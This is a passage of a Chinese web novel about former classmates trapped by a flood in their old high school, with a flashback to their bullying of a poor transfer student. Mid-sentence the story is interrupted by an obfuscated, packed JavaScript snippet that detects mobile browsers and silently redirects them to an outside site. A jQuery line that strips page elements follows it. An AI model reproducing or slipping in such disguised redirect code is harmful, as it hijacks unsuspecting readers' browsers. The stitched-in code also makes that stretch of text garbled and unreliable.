庄笙在教室最后一排坐下,陈屿在她斜前方,谁都没有说话。室内好像天然地分成了三片区域。香薰的气味将潮湿抵挡在教室外。 庄笙抬眼望着黑板上方的挂钟,想起很久以前陈屿也坐在她的斜前方。他们好像一直默契地保持着这样的距离。 秒针无声地转动。 大约二十分钟后,庄笙忽然看向窗外。雨势越来越大,大得几乎不对劲。同时发现的还有赵选:“我*,我的手机怎么突然没信号了?奇怪,走廊信号会好一些吗——卧槽,你们快点出来!不对劲!” 麦吉拍了拍自己的手机,往教室外探头:“大呼小叫的吓我一跳。其他人怎么还没来啊,等好久了。” 下一秒,他也没了声音。 庄笙刚起身,发现陈屿保持坐姿睡着了。她走到教室门口,忽然愣住了。 暴雨让天空变得无比阴暗,阴云甚至没有尽头。而黑云之下,一条灰黄的江河正在朝学校涌来,铺天盖地,汹涌浩荡—— 临城从来没有一条这样的河流,它撕开原野,越过城市,覆盖街道。 那是正朝他们奔涌而来的洪水。 四面八方,无路可逃。 4. 分歧 “那现在怎么办?” 庄笙听见走廊尽头爆发出崩溃的喊叫,似乎是温嘉的声音。她低下头,手机已经完全失去了信号。 目前是17:15。 在过去的十五分钟里,每个人都紧张到了极点。突如其来的慌乱狠狠揪住人的心脏,就像置身地震、海啸等自然灾害时一样,连皮肤都绷紧了。 “怎么会有这么荒唐的事情!”有人骂道。 郁迟是反应最迅速的那一个,直接冲下了楼,想赶紧离开这里——但他跑到主楼出口被麦吉和庞潇叫住了。 “学校是这个区地势最高的地方,你走不到施工地那儿水就会淹过来。还是呆在这里安全些!” 郁迟的第一反应是骂娘,还想坚持却被冯银子拉住了:“麦吉说的是对的,咱们不如在这里等营救。” “营救?”卓诗兰崩溃极了,“水这么大,上哪儿营救去?我得给我老公打电话!” 另一个完全无法接受的是温嘉,她尖叫道:“我后天婚礼!” 赵选在楼梯间骂了句脏字,手机屏幕里还是某明星尚未结束的直播画面。 庄笙站在栏杆边,腰背僵直。这是她生平第一次亲眼目睹洪水。那样浑浊的疯狂的颜色与黑云暴雨相互缠绕,却让世界慢慢安静了。 有人推开教室门走了出来。 “怎么,嗯……?”陈屿的声音停在喉咙里。 庄笙看见他刚睡醒的神情在一瞬间清明,那张不动声色的脸从不可置信到再看一眼。她压了压嘴角,耸耸肩。 陈屿反应过来后,第一个举动是摸烟。他问:“你不介意吧?” 庄笙木然地摇头。得到答复后,他才慢悠悠地点燃。白色的烟圈随风而去,陈屿忽然说:“你记得刚才那个井盖吗?说不定是前几天雨太大,下水道涨水顶出来了。临城的排水系统太差劲了。” 庄笙说:“当时注意到了,也不会放在心上。” “你不打个电话吗,给你家人,或者男朋友?”陈屿问。 庄笙说:“手机没信号。我妈今天呆在家打麻将,六楼,应该没问题。你呢?” 而且杨洁梅不是傻子,反应挺快的。这句话她没有说出口。 陈屿语气平静地答道:“我单身。” 庄笙看了他一眼,他忽然抬眉,自言自语:“不好笑吗?” 庄笙没想接他的茬儿:“你不担心?” “我妈这两天去外地看我小姨了,”陈屿抬起嘴角,“那个什么斗地主大赛。在乌市,远得很,天天大太阳。” 庄笙不知道怎么接话。她其实不喜欢烟味儿,所以往旁边挪了两步。走廊的灯忽然亮起,白得刺眼。 陈屿眯起眼睛适应,单手灭了烟。 其他人也在这时候回来了,一脸垂头丧气,惊惶失措。没人遇到过这样紧急的状况,除了尝试打电话没有任何主意。 庞潇焦急地抓头发:“我有卫星电话,但是……怎么都用不了。奇怪,上次登山遇险都还能打救援。” 众人这才得知,庞潇有着多年的户外经验。但再多的经验此时也派不上用场。 “现在怎么办?”郁迟的语气很不耐烦。他往庄笙旁边的栏杆一靠,舌头顶着上颚活动下巴。庄笙这才注意到,他的黑眼圈又深又重,靠近时散发着一股烟酒臭味,好像已经腌入味儿了。 但他本人浑然不觉,扭头看庄笙:“喂,你们俩一点都不害怕吗?” 庄笙顺着他的声音看向另一侧,陈屿还是老样子,表情平静得像是无事发生:“无所谓啊。” “你在说什么?”郁迟的火气噌一下被点燃了,“你知不知道现在什么情况,我们都有可能死在这儿!” “所以?”陈屿反而笑了一下,好像只是不值一提的事。 郁迟还要质问时,赵选也耸耸肩:“别闹了,又不是什么大不了的事,地球今晚毁灭也挺好的。是吧,庄笙?” 她的语气轻松,眼神温和而困倦,却仿佛一瞬间看透了庄笙的想法。庄笙放轻了呼吸:“对啊,这样就不用找工作了。” 众人被她突如其来的玩笑话打了岔。大部分人都笑了起来,还剩下几个为这不合时宜的笑话感到恼火。麦吉的眼珠子慢慢转圈,视线依次经过郁迟、卓诗兰和温嘉,笑盈盈地打趣道:“人家郁总日子过得好着呢,又不像咱们还要讨生活,天天想着世界末日。” 温嘉苦恼得直抓头发:“不行不行,我还要结婚。” 卓诗兰则是被气笑了:“麦吉,别说风凉话了,谁一天天心里那么阴暗。要死自己去死好了,别带着我。” 她说完才愣了一下,不由自主地看向赵选。后者当作没听到,顺了顺海藻般的头发:“行了,现在也没什么办法。临城这地形不好,找谁说理去。其他人一直没来才奇怪,总不至于都已经出事了吧。” 她话音未落,脸色骤白。其他人也反应过来,气氛更加冰冷焦躁。温嘉捂住脸,小声地啜泣起来。卓诗兰不耐烦地摇晃手机,企图取得信号,还不忘责怪郁迟和麦吉:“要不是你们非要来这破地方,这些事根本不会发生!真晦气。” 麦吉不敢吭声,郁迟的耐心有限:“你不也同意了吗,又不是我逼着你来的。” 卓诗兰蹲在地上,抬起头时,眼眶都红了:“郁迟你有病吗这么凶。” 郁迟当即摆手:“别用这种语气和我说话,我又不是你老公。” 卓诗兰一言不发地转身进入教室,狠狠地摔上门。 “莫名其妙,惯得她。”郁迟没好气地说。 冯银子说:“郁迟,你别太过分了。现在这种情况,不准吵架。” “怪老子咯?你们真的是不可理喻。”他转身往走廊另一头走。 麦吉喊道:“喂你去哪儿?” 郁迟留下一个潇洒的背影:“我随便逛逛,消消气。” 这句话似乎提醒了庞潇:“我想去天台上看看情况,有谁要和我一起吗?” 在一片沉默中,庄笙开口道:“我和你去。” 她背靠栏杆,又急又密的雨丝从高空坠落,打湿了她的头发。陈屿的声音适时响起:“我也去。” “别啊,咱们还是最好别分开吧,”温嘉发出低微的哽咽,“我害怕。那些恐.怖片里发生过,人只会越来越少。” 冯银子当即大声道:“你别胡说,最迟明天一早就会有救援来的。我就在这里哪也不去。” “我也不走,教室里还有人呢,”麦吉眼中浮现出抗拒,想了想又提议道,“要不这样,咱们分成两队,你们愿意就去看看,有什么情况回来一起讨论就行。” 庄笙同意了,朝温嘉道:“你要和我们一起去吗?” 温嘉犹豫片刻,见庞潇已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691139|173352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不耐烦地走了,立刻起身抓住庄笙的手臂。 “就半个小时啊,别太久了。”麦吉嘱咐道。 5班的教室位于三楼走廊尽头,附近两侧都有楼梯。一处从走廊远端通往中庭,他们是从这里上来的,也是刚才郁迟离开的方向。另一处较近的旋转楼梯在相反的方向,会经过漆黑的厕所。 庞潇走在前面,试图从近处的楼梯口接着往上到第五层。他们需要再绕回中庭的方向,那里通往天台。 “等,等一下,”温嘉小心翼翼地拉住庄笙的衣袖,哀求道,“我想上厕所。” 庞潇没等他们,而庄笙按不住温嘉的请求。 女厕所的灯开关在洗手台旁边,借着走廊的灯光就能找到。温嘉一边往里走一边回头,确认庄笙还等在门口。 庞潇懒得搭理,人已经先往走廊另一侧去了。 庄笙站在洗手间的镜子前,镜中的自己似乎确实已经大变了模样。她洗完手,轻轻叹了口气。 温嘉还没出来。 庄笙走到门口,左右看了一眼,发现陈屿站在楼梯口的栏杆边。他双手插兜,冷不丁地转过头,和庄笙对上视线。 “你过来看。”陈屿神神秘秘地说。 庄笙朝他的方向走了两步,忽然停下脚步,看向栏杆外。陈屿风轻云淡:“外面就是小竹林。” 小竹林通往人工湖,是新闻里出事的地方。 从栏杆望下去一片漆黑。暴雨从上空落下,像是被无尽深渊吞噬,消失无踪。一股冰冷的诡异从脚底传来,将庄笙固定在原地。 她静静地注视着那片涌动的黑暗,感觉那里有一股莫名的引力,将她也拉扯进去。 一只手突然搭上她的左肩。 庄笙心脏一激,往左侧回过头。 什么也没有。 反而手指又出现在了右边肩膀。 这回庄笙松了口气:“陈屿,你几岁了?” 陈屿撤开手,忍俊不禁:“这种把戏还是能骗到你。” 他离得太近了,淡淡的烟草味在潮湿的空气中格外明显。庄笙有些无奈:“现在合适吗?还以为你看到什么线索了。” “你还记得这里吗?”陈屿问。 庄笙说:“当然。以前晚自习的时候,保安打着手电筒去小竹林抓早恋的。” 陈屿说:“对啊,没想到现在被洪水淹没了,还挺像原来的湖。雨丝飘摇,良辰美景。” 他神情坦然,像是谈论到回忆里温柔的片段。庄笙微微抬头,看见他安静沉默的双眸。走廊孤寂的灯光落入他的眼睛,慢慢游动。 庄笙说:“别讲这些了。” 她不是很想听。 陈屿笑了笑,唇角扬起的弧度像是很多年前。他顿了几秒:“我其实一直没问你……” 庄笙突然抬起头:“等等,水已经淹到一楼了?” 这时,二人头顶的灯光闪烁了两秒,骤然熄灭。 整栋教学楼都陷入黑暗。 在世界安静的几秒钟里,庄笙连陈屿在哪儿都看不见。 一声短促的尖叫从女厕所响起:“庄笙——” 伴随着一阵凌乱的脚步声,温嘉从黑暗中冲了出来。她还没站稳,被另一阵上方天台凄厉的尖叫吓得浑身哆嗦。 “啊啊啊啊————” 庄笙一愣。是庞潇的声音。 5. 见鬼 庄笙他们赶到通往天台的楼梯口时,庞潇正跌坐在台阶抱头大喊。她的手脚发颤,声音也不住抖动:“别,别过来……求求你,不要过来!” “庞潇!”庄笙立刻上前搭住她的肩膀。庞潇突然剧烈地挥舞手臂,拍到庄笙后才突然找回了神志,缓缓睁开眼。 在手机光线的照射下,庞潇跟见到了至亲似的热泪盈眶。她一把攥住庄笙的手臂,在三个人的连声安慰下才逐渐缓和。 “刚才停电了,你们知道吗?”庞潇仰起脸,神情还惊魂未定。她深呼吸了好几次,似乎想往台阶高处看,但又不敢。 温嘉捂住胸口:“是啊,吓死我了。结果你叫的比我还大声,就因为停电?” 庞潇抿唇道:“那倒不是。” 温嘉见她欲言又止,下意识地往天台方向看去。这一看不要紧,下一秒她立刻噤了声,人绷得僵硬挺直,眼神发呆,唇瓣微张。 通往天台的门开着,风雨大肆灌入。门外不远处有一道黑影,飘飘停停,如同鬼魅。 庄笙一怔,还没来得及看清,陈屿已经跳上台阶走入暴雨之中。 “别去,那是……”庞潇的神情再次变得惊恐,掐住庄笙手臂时力气又大了几分。 庄笙这次没有安抚她,反而问:“你刚才到底看到什么了?” 庞潇顿了顿,认命似的闭眼:“就……不能说的东西。” “有什么不能说的?”陈屿的声音随雨水落在地上,他手中抓着一团黑漆麻乌的东西,风一吹便“沙沙”作响。 他随手将那一团往三个女生的方向一抛。 温嘉下意识地跳开,躲在庄笙背后。庄笙握住照射的手机,看见轻飘飘落在台阶的那一片,才发现只是一个很大的黑色塑料袋。 “看来我是一名坚定的唯物主义者。”陈屿似笑非笑,关上天台门,转身慢悠悠地走下来。他的头发和衣服都被雨水打湿了大片,仍旧挂着毫不在意的轻松。 他朝庄笙笑了一下,四周却仍然是一片寂静。庞潇艰难地开口:“不是的,我看见的不是这个。” 所有人都没吭声。 “我看见鬼了。”庞潇突然强调道。她看向黑漆漆的楼下,接着说:“她刚才明明在说话,还在找人……总之是在找什么。” 过了几秒,温嘉犹豫着道:“你说你看见了,那她长什么样?” “她……” 楼梯下方黑暗中突然传出“咚”地一声闷响,打断了庞潇。空气中弥漫着毛骨悚然的安静,无人说话,连呼吸都极轻。 他们听见了脚步声。 一束光从楼梯拐角处突然弹了上来。麦吉的声音随之而至:“喂,庄笙,陈屿,你们在上面吗?奇怪,刚是有人在说话吧?” 庞潇松了口气,有气无力地骂了回去:“你要上来就赶紧,别在那儿装神弄鬼的。” “哎我得罪你啦?”麦吉站在下方拐角处,手电筒朝上挥两下,又朝下挥两下。一阵急促的脚步声后,冯银子和卓诗兰率先跑了上来。赵选走在最后,还不时回头看。 庄笙走到扶手边,只见下方一片黑暗,除了几束手电筒的光什么也看不清。她闻到了异常潮湿的气味,像看不见的暗波产生令人压抑的气氛。 “水漫上来了。”冯银子扶着墙边缓了一会儿,脸上的雀斑也随喘息起伏。据她说,他们一直在教室里,突然听见尖叫声都被吓了一跳。但更吓人的是,水竟然已经淹到二楼了。 卓诗兰说:“本来还想去找郁迟的,但他应该也没那么蠢。” 她说话时往外张望,而回廊另一侧正巧出现了郁迟的身影。 他慢悠悠地晃过来,双手插兜,好像此时的危机唤起了几丝兴奋。 卓诗兰发出了不屑的音节:“嘁,你死到哪去了?” 郁迟不紧不慢:“想去外面看看啊,以为上桥走到地势高的地方,结果全淹了。” 郁迟说的“桥”是教学区和生活区的连接。生活区(包括宿舍和食堂)整体地势比教学区高不少。小竹林也从桥边一直蔓延到教学区。 “那你看见ta了吗?”庞潇阴沉的声音一冒出来,郁迟瞬间变了脸色。 他一动不动地盯着庞潇,漆黑的瞳孔渍出森冷:“什么ta?” 庞潇之前没说完的话终于再次浮出:“长头发,很白很瘦……是一个十七八岁的女孩。” 她的声音越发颤抖,但也尤为笃定:“反正我是真的看见她了。她……她是不是就是……xu……” 空气冰冷,寂静地穿梭在楼梯间。 “到底是谁啊,别故弄玄虚的,”冯银子站在角落里,关掉了自己的手机灯光,“怎么你还认识吗?” “我……我认识,我见到她了,”庞潇低音如呓语,“她是来找人的。她在找人……她是不是来找我们的?” 冯银子没吭声,回头看了一眼,卓诗兰抱着手,冷漠地抬着下巴。赵选则是睁大眼睛,浓密的睫毛显出几分无辜:“啊?” 郁迟顿时嗤笑:“你在说什么啊,你该不会是吓傻了吧,胖潇。” 庞潇对这多年前的“绰号”毫无反应,垂眸捏住自己的手指。 “啧,故弄玄虚。”郁迟发出不耐烦的声音。 庞潇仰起脸,眼睛失去焦点:“我真的看见她了,她……她是——” 惨烈的尖叫打断了庞潇。 通往天台的门不知何时被打开了一道缝,忽起的狂风横冲直撞将门彻底吹开。不知何时,他们之中少了一个。 庄笙是最先反应过来的,之前站在她身旁的人不知何时已经消失了:“温嘉!” 无边无际的暴雨中,一个身着浅色连衣裙的身影站 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庞潇尚在惊吓的余韵中,被她神神叨叨的语气一说,如同收到了某种暗号:“等等,你是说——” “你不觉得她很眼熟吗,就是她啊,”温嘉弯起的眼睛却似是哭了,“是徐晓梦,是她把我们困在这里的!” 麦吉惊恐地抱住自己,然而过短的手臂却无法包裹日渐丰腴的肚皮:“什么意思,徐晓梦?谁,她是个人吗?” 麦吉困惑的模样不像是装的。然而除了他以外,其他人都变了脸色。 “呵呵。” 温嘉低低地笑出声,那笑声仿佛是从牙齿间渗出来的,诡异极了:“就是她呀,她早就来找过我了。她来我的梦里……对,一定是这样的。你们看过《盗梦空间》吗,这里就是一个虚假的幻境,是她设计来害我们的。只要……只要从楼上跳下去就能醒过来!” 卓诗兰被她荒诞疯癫的神情吓了一跳,嫌恶道:“够了温嘉,她去找你关我们什么事。” “对啊,如果是她的话……你怕什么,”庞潇挺起胸脯,像是终于松了口气,“你又没做什么亏心事。” “说不定自己忘了呢。”麦吉补刀道。 赵选在几步外捏紧手机,眼神从天台的水坑慢慢往上,直到正好对上温嘉的视线。 “对,她当然不应该找我。”温嘉的目光停留在赵选身上,她亭亭玉立,左右是卓诗兰和冯银子,郁迟双手插兜在她身旁。他们看向温嘉的眼神充满不屑、漠视和不耐烦,和当年一模一样。 沉郁多年的情绪在此时涌上喉咙,无法控制:“她应该找你们才对!我只不过,只不过是——” 她只不过是放任了一切的发生。 她太无辜了。 6. 无辜 高一第一学期的期中考试后,温嘉意识到自己犯了一个严重的错误。 当然不是指她忘记值日的这件事——她是在回宿舍的路上被庄笙提醒才反应过来的,只能不情不愿地返回教室。 都怪庄笙,要是就当她忘了该多好。不就是扫个地么,不做又怎么样。老实说,虽然她和庄笙的妈妈是同事,两个人都是同一个片区长大的,小学初中都是同班同学,但她就是看不惯庄笙总是一本正经、高高在上的模样,好像庄笙天然就能指责自己。 真讨厌。 温嘉踏上楼梯的脚步都加重了几分。 现在是九点四十五,教学楼变得空空荡荡。她还迎面碰上了胖潇——庞潇是他们组的组长,也是班上的卫生委员。 “你还知道回来?”庞潇翻了个大白眼,“这都已经做完啦。” 温嘉表现出羞愧难当的样子,眼睛瞟向另一面的教学楼,其中一间突兀地亮着灯,令她心头一跳:“那怎么办?” “明天都归你咯。”庞潇拍了拍她的肩。 她还没来得及说“这不公平”,被庞潇突然扬起的嗓子一惊:“卓诗兰你拿着书干什么,背着我们偷偷学习呀?” 温嘉抬起头,看见卓诗兰捏着数学书从亮灯的教室方向过来,一张小脸气鼓鼓的,如同仓鼠再世。 卓诗兰是他们班上的“大小姐”,但凡有一点不乐意都会大发脾气,指谁骂谁毫不给面子,开心的时候倒也赏个甜美的笑容,冷热交替让人无所适从。刚开学那一阵,庞潇还悄悄和温嘉吐槽过,原话是“也就是咱们班的人脾气好,换成别人早就收拾她了”。 事实上卓诗兰“横行霸道”了大半个学期,不仅没有遇到障碍,还哄得他们班主任李婉玫喜笑颜开。 此时,温嘉见她不知为何吃瘪,忍不住抿嘴,却被卓诗兰一眼看破:“你笑什么?” 卓诗兰的语气极为不爽,说起话来倒是一贯的姿态——活像全世界都欠了她似的,理当惯着她。 温嘉当然不悦,她企图在对方嚣张的气焰下为自己找回一点面子,于是小声反驳:“我没笑。” “我看见你笑了,”卓诗兰一副懒得计较的模样,扭头朝庞潇拉长了嗓音,阴阳怪气,意有所指,“努力学习的另有其人,我连问个问题都插不上。” 庞潇立刻气不打一处来:“谁啊?我看到庄笙都回寝室了。” 卓诗兰朝还亮灯的地方扬扬下巴。刚才温嘉就已经注意到了,那是他们班的办公室。如果是高一1班的老师,这倒也不奇怪。但他们是5班,又不是尖子班。 只见两个人影一前一后从那里出来了。 “方老师!”温嘉突然大声道。 她今天晚自习也想去找方原问问题的,可是她好不容易鼓足勇气去办公室门口却没看见人。她借着上厕所又去看了一次,那一次方原也不在,她还差点被李婉玫逮到。 此时,方原被她吓了一跳,关门的时候钥匙都掉地上了。幸好旁边的学生帮他捡了起来。 “谢谢你啊。”方原说。虽然刚才一直在办公室讲题,但他一时连人家的名字都想不起来。 那个女生微微低头,手指摆弄着衣角,似乎因为太过害羞不敢应答。她犹豫了半天,正要开口,却被卓诗兰的声音盖了过去。 “方老师,你总算讲完啦?你给她讲了这么久的数学,那我今天没学会的怎么办?” 方原一听就头疼:“你明天课间来找我。” 温嘉听见卓诗兰带着情绪“噢”了一声,眼睛直勾勾地盯着方原。他今天穿了一件白衬衣,显得人更加温润斯文。 见方原要走,她憋了半天才张口:“方老师,我今天也没听懂。” “还有我。”庞潇说。 方原:“你们今天上课真听了吗?行,我明天再讲一遍,赶紧都回去休息吧。” 他刚走到转角,背后就传来叽叽咕咕的笑声。 温嘉一直望着他年轻挺拔的背影,直到他完全消失。 “人都走啦,看什么呢,”卓诗兰笑起来,意味深长地叫住正要离开的那个长发女生,“哟,徐晓梦,什么问题非要等到晚自习下课才去问啊?” 温嘉这才注意到徐晓梦。刚才看见她和方原从办公室出来时心里那股莫名的劲儿此时又开始作祟。 原来是她啊。 转校生。 今天是她来的第几天?反正刚好是在期中考试前。班上男生都说她漂亮,温嘉一点也没觉得。一看就是那种不爱打扮、性格还唯唯诺诺的人,头发那么长也不打理一下,活像个讨债的女鬼,散发着阴森森的气息。 性格也像女鬼——半天憋不出一个字,只知道低头,摆出害怕柔弱的模样。真让人讨厌。 卓诗兰提高了音量:“问你呢徐晓梦,不说话是什么意思。我是哪里惹到你了吗,一跟你说话你就这种样子?” 温嘉觉得卓诗兰没有恶意,她一向说话都这么趾高气扬,此时更是说出了温嘉的心里话。尤其是徐晓梦被质问时手足无措的神情,更让温嘉怀疑,她是不是故意这样博取同情的。 所以当卓诗兰进一步发话时,温嘉莫名感到解气:“你有意见别憋着呀,我是在和你说话、交流,你闷着头是不是不太礼貌?” 徐晓梦似是被“不礼貌”几个字点醒了,呆呆懵懵地抬起头,想要辩解:“没、没有……” 卓诗兰一下子被气笑了:“还是个结巴呀。” 她一把扯出徐晓梦怀里的数学练习册,不顾她微弱的反抗胡乱翻了起来。 今天讲的是三角函数,徐晓梦的练习册密密麻麻写满了笔记,旁边还有方原的修正。虽然她才来,这本练习册的其他部分也都同样写满了。徐晓梦全都是用的铅笔,方便涂改。 “挺用功是吧?”卓诗兰将练习册顺着书脊卷成筒状,避免将铅渍弄到手上。她手法粗暴,全然不顾练习册的死活。 徐晓梦发出轻微的声音,想要阻止:“别、别这,样。” 庞潇憋着笑,碰了碰卓诗兰:“别吓人家了,到时候李婉玫说你欺负同学。” 卓诗兰发出不明的“咯咯”笑声,眼睛盯着徐晓梦:“小结巴,你不会打小报告的,对吗?” 徐晓梦很轻很轻地“嗯”了一声。卓诗兰将练习册往徐晓梦身上一扔:“晚自习下课就该回宿舍了,下次别留这么晚。 温嘉和庞潇跟着卓诗兰头也不回地 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总的来说,临城中学环境优美,绿化程度高。然而学生普遍成绩欠佳,一年学费还要收近三万,住宿费和餐费按月另算。不过,割本地和外地中产韭菜的同时,学校也洒洒水放点奖学金,网络一些成绩不错的学生来当领头羊。 温嘉他们班四十三人,一共有六个奖学金生。比如庄笙。 “徐晓梦?她看起来可不像成绩好的。”庞潇说着回过头,此时路上还有稀稀拉拉的学生,徐晓梦连个影子都没有。 卓诗兰问:“她和谁一间宿舍?” 庞潇说:“不知道,她来的晚,咱们那个方向没位置了。噢我起来了,学校今年有扶贫项目来着。她是不是农村户口,明天去李婉玫那儿看一眼。” 倒也不用看。这样的学生周末都住校不回家的。等周五放学就知道了。 温嘉在心里低估。可她此时心情异常古怪,没心情听她们讨论。她老是想到刚才方原和徐晓梦从办公室出来的时候,方原是不是在笑来着? 她犯了一个大错。 她晚自习的时候就应该守在办公室等方原回来,这样她就可以把准备好的题通通都问一遍。而且今天下课的时候,方原还和她说过:“没听懂的话可以晚上来办公室,今天我不守晚自习”。 方老师明明答应了她的呀。 哪轮得到一个转校生霸占那么久。 温嘉越想,心情越差,脸上完全挂不住。卓诗兰还故作关心:“温嘉,你脸怎么跟包青天一样了?” 回到宿舍时,庄笙正在读课外书,还和温嘉打招呼:“晚加餐有肉松面包,在你桌上。” “谢谢哦。”温嘉垂头丧气地应道。 她听见庄笙的手机在不停振动,但庄笙只是看了一眼,然后装作没听见,用书挡住了。 真够装的,得有多爱学习啊。 温嘉关门之前,卓诗兰正在对面寝室门口大声讲述今晚的“见闻”,逗得赵选和冯银子哈哈大笑。 她听不清她们在笑什么,但关门的一瞬间,她感觉卓诗兰余光朝自己的方向瞟了一眼,然后悄悄捂住嘴,低声说了句什么。 温嘉顿时脸颊发烫,手指都有些颤抖。 她们可能在笑话徐晓梦,也可能是她自己——这很明显吗,她不知道。 但是都怪徐晓梦,让她此时显得像个小丑。 7. 彩排 “所以,温嘉,你的意思是说,你从当时就开始讨厌徐晓梦了?”天台边,麦吉抱起手,小臂搁在自己突起的腹部赘肉上。 温嘉望着漆黑的天空,雨停后明朗许多。她轻声辩解道:“也不算吧,只是看她不顺眼。” 也是她自找的。温嘉在心里补充。 不喜欢一个人是很正常的,毕竟人总是同类相吸、异类相斥。处不来就不处了,也没什么大不了。 围栏边,庄笙安静地注视着下方,直到陈屿的声音响起:“你看见什么了?” 庄笙回过头,平和的声音掺杂着一丝不可置信:“雨停了,水位下降了。” “什么?!”另外几人立刻冲到天台边探出半个身子。 果然,之前涨起来的水位已经从四楼下降至三楼了。 “洪水已经退了吗?”郁迟嚷嚷起来,不停地搜索手机信号。 可惜仍然一无所获。 陈屿随手划了一下屏幕,转头看庄笙,打趣道:“你怎么一点都不急?” “急有什么用?”庄笙对上他的目光,“还没搞清楚这里到底是怎么回事。” 陈屿微微挑眉:“你也发现不对了?” 庄笙说:“嗯,从我们进入学校开始,这里的一切都有些不可思议。” “不像是正常会出现的。”陈屿接过话。简短的对视中,庄笙感觉陈屿的目光穿过了自己的眼睛,看往更深处。 在过去的这些年间,她无比厌恶这样的凝视,只有转过身去才能躲避。而此时的三秒间她竟然恍惚,因为在极为年少时,她也曾期待过如此深切的注视。 好在陈屿或许及时察觉出她的抵触,探究的目光变得平和清浅,避免了剑拔弩张的氛围。 一旁的麦吉却因为听见他们的对话陷入沉思。他来回踱步,仍然毫无线索。他问庄笙:“你怎么发现的?” 庄笙低声道:“刚才天台边缘的水渍还在,现在已经干了。” 郁迟不禁有些兴奋:“那我们是不是很快就能下去?再过几个小时水就能退光了吧?” 庄笙却没有那么乐观,她皱眉看着远方漆黑的街道,心里莫名涌上一股不安:“但愿吧。” 雨虽然停了,可城市依旧陷入一片死寂。除了水流偶尔拍打建筑的声音,连风都静止了。 卓诗兰锤了一下自己的手机,方才一直抬起的下巴现在也没有松懈,绷得酸痛。她不耐烦地将手机往地上一摔,终于兴师问罪:“温嘉,你刚才说的都是什么意思?你是说,我故意为难徐晓梦?” 周围的目光齐聚于温嘉身上,她下意识地摇头,反而让卓诗兰气笑了:“呵呵,就因为这么一点小事?谁会记得这些无关紧要的东西。庞潇,你记得清吗?” 庞潇撇撇嘴:“完全不记得了——” “所以说,温嘉,”郁迟捏捏自己的下巴,“你是觉得徐晓梦阴魂不散,是因为卓诗兰说过几句闲话?喂,她怎么不去找你啊,毕竟是你觉得她在和你抢方老师。” 庄笙察觉到温嘉变了的脸色,出言道:“够了,温嘉不是这个意思。” 然而温嘉却突然被点着了,对着庄笙冷笑:“不需要你装好人。” 她甩开庄笙阻拦的手,大声朝卓诗兰喊:“你敢说你不记得高一运动会的时候了?” 卓诗兰的眼神瞬间从回忆中冷却:“你说什么?” 温嘉反而微笑:“我都记得。” - 自从期中那件事后,温嘉一直看徐晓梦不顺眼。 她当然没有和任何人说,因为一个“好人”是不会随便说别人坏话的。但是据她观察,有不少人都不喜欢徐晓梦。不仅因为徐晓梦穿一身邋遢的破烂儿,还因为她那唯唯诺诺的性格。 徐晓梦基本不和人说话,无论是嘲讽还是挑衅她都没有反应。一开始几天还有人忌惮,后来期中考试放成绩后发现徐晓梦也不怎么样,尤其是英语才20几分。 她是贫困生的消息不胫而走。大部分人都沉默无视,只有郁迟那种没素质的家伙才会去当面问:“喂,听说你是农村户口?哪个镇的?” 郁迟单手撑在她的课桌边,那种满不在乎又危险的气息投掷在徐晓梦身上,她低着头报了个地名,立刻被听去的人放声取笑。 或许是没有预料到这样的结果,徐晓梦低头揪住衣角,不知道如何是好。 这时,卓诗兰捂着嘴“咯咯”笑:“郁迟,你差不多得了,等会儿李婉玫来了。” “她来又怎么样,我还怕她啊。”郁迟说着,目光来回经过徐晓梦的脸。 温嘉这周的座位就在徐晓梦后面,所以她能精确感觉出徐晓梦的不适。郁迟这种全靠家长交赞助费进学校的人每个班都有好几个,只不过他家交的比较多,还完全不管他。所以李婉玫实际上也管不了他这种“老鼠屎”。 温嘉正准备向文学社校刊投稿,这种家伙最适合用来当反派了。 这出莫名其妙的闹剧以陈屿走进教室结束。他淡淡瞟了一眼他们的方向:“这节化学课要去实验室。” 化学课的谭老师人高马大,比他们班最高的男生还雄壮,不是郁迟这种瘦弱的猴子敢惹的。至少温嘉这么想。 那天晚自习的时候,守课的政治老师中途出去了。冯银子趁机向大家宣布了一件事。 下个月要开校运动会,她负责帮助李婉玫登记同学们报名,除此之外还需要一个在开幕式举班牌的女生。 冯银子说这些话时,徐晓梦一直低头盯着自己的英文试卷。她抬头,又低头,再抬头低头,反复来回几次,折磨得温嘉脖子难受。 庄笙那一周刚好坐在徐晓梦右边,也就是温嘉的斜前方。庄笙也没听冯银子说话,正在奋笔疾书。 等冯银子说完,庄笙正好停笔。徐晓梦捏着自己的试卷看向庄笙。似乎感应到她的目光,庄笙疑惑地扭过头。 徐晓梦憋了好半天,才在一片混乱中蹦出几个字:“能不能麻烦你……” 庄笙藏在课桌里的手机正在振动。温嘉看见她飞快地揣入裤兜,面无表情地对徐晓梦丢下一句“你等一会儿”就走了。 温嘉在一旁偷笑,不想讲题也不用这么敷衍吧,就差把“不耐烦”三个字写在脸上了。 果然,徐晓梦吃了瘪,只好再想别的办法。 温嘉埋头写完数学作业最后一部分,忽然听到有人在嘈杂的教室里大喊:“我提议选徐晓梦去举班牌!” 这时,温嘉才注意到前面的座位空了。随着众人的视线转头,徐晓梦本人正在最后一排,蹲在课桌边问英语题。 给她讲题的是陈屿。 真会挑人,温嘉想,陈屿可比庄笙有耐心多了。 此时班上的人这么一闹,徐晓梦的脸颊霎时变红。又不知是谁说了一句“你跟陈屿说话还脸红啊”,徐晓梦的脸更红了,像一枚红苹果。 诸如此类的言论撬动了温嘉八卦的眼神。即使陈屿不是她的审美方向,她也得承认陈屿的确是学校里为数不多惹人注意的那种男生,安静温润,像湖边的竹林。她记得高一刚开学的时候,陈屿每天跟哪个女生说过话都是众人的谈资。 此时的起哄声连带着那些让徐晓梦去举班牌的声音都显得意味深长。 温嘉觉得冯银子肯定不高兴。首先每个班都会选最漂亮的女生去举班牌,装点门面。5班最好看的非赵选莫属,再不济也是卓诗兰。冯银子是她俩的好朋友,作为组织者肯定是不想肥水流外人田的。 冯银子却出乎意料地高兴起来, 